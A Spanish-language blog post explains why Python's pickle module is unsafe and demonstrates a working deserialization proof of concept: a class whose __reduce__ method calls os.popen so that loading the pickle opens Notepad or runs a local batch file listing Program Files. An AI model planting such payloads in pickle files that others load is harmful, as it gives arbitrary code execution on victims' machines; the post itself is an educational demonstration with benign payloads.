En la documentación de la libreria Pickle aparece esta advertencia:
"El módulo pickle no es seguro". No sólo eso, explotar su vulnerabilidad es tan fácil que se puede codificar en menos de diez minutos.Un bonito tutorial en español de Pickle está aquí. Pero lo relevante lo dicen en esta web en inglés.
Para explicar de qué va la vulnerabilidad, primero mostraré un ejemplito tonto, le mando a la clase Pickle un código que llama a subprocess.call() y abre el block de notas en windows:
# coding=utf-8
import subprocess
import pickle
import cPickle
# pickle sample https://programacion.net/articulo/los_pickles_de_python_1860
todo = "subprocess.call(\"notepad.exe\", shell=True)"
pickle_file = file('todo.pickle', 'w')
pickle.dump(todo, pickle_file)
pickle_file.close()
pickle_file = file('todo.pickle')
todo2 = pickle.load(pickle_file)
pickle_file.close()
exec todo2
Es un ejemplo tonto porque depende de la función exec() de Python, la cual ejecuta un código arbitrario. El código para ejecutar código arbitrario directamente con Pickle nos la da la web de root4loot, lo he modificado para que en lugar de una petición a un servidor, se ejecute al abrir un archivo:
# coding=utf-8
import pickle
import cPickle
#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
def __reduce__(self):
import os
s = "notepad.exe"
return (os.popen, (s,))
def main():
payload = cPickle.dumps(MMM())
pickle_file = file('todo.pickle', 'w')
pickle.dump(MMM(), pickle_file)
pickle_file.close()
pickle_file = file('todo.pickle')
pickle.load(pickle_file)
pickle_file.close()
if __name__ == "__main__":
main()
Más allá de la vulnerabilidad, se me vienen a la mente otros usos como compilación automática de código, descarga de paquetes o ejecución de archivos bat o bash. Por ejemplo, tengo el siguiente bat en mi disco D: llamado sample_bat.bat, que copié de algún sitio en internet:
@echo off
REM Next command creates a list of program files
dir "C:\Program Files" > D:\list_of_program_files.txt
En la clase MM en el código de roo4loot hago el siguiente cambio:
#https://root4loot.com/post/exploiting_cpickle/
class MMM(object):
def __reduce__(self):
import os
s = "D:\\sample_bat.bat"
return (os.popen, (s,))
Y al ejecutar el script de python, me creó este archivo en mi disco D:
El único detalle es que no se imprime nada en la consola donde se ejecuta el script de python.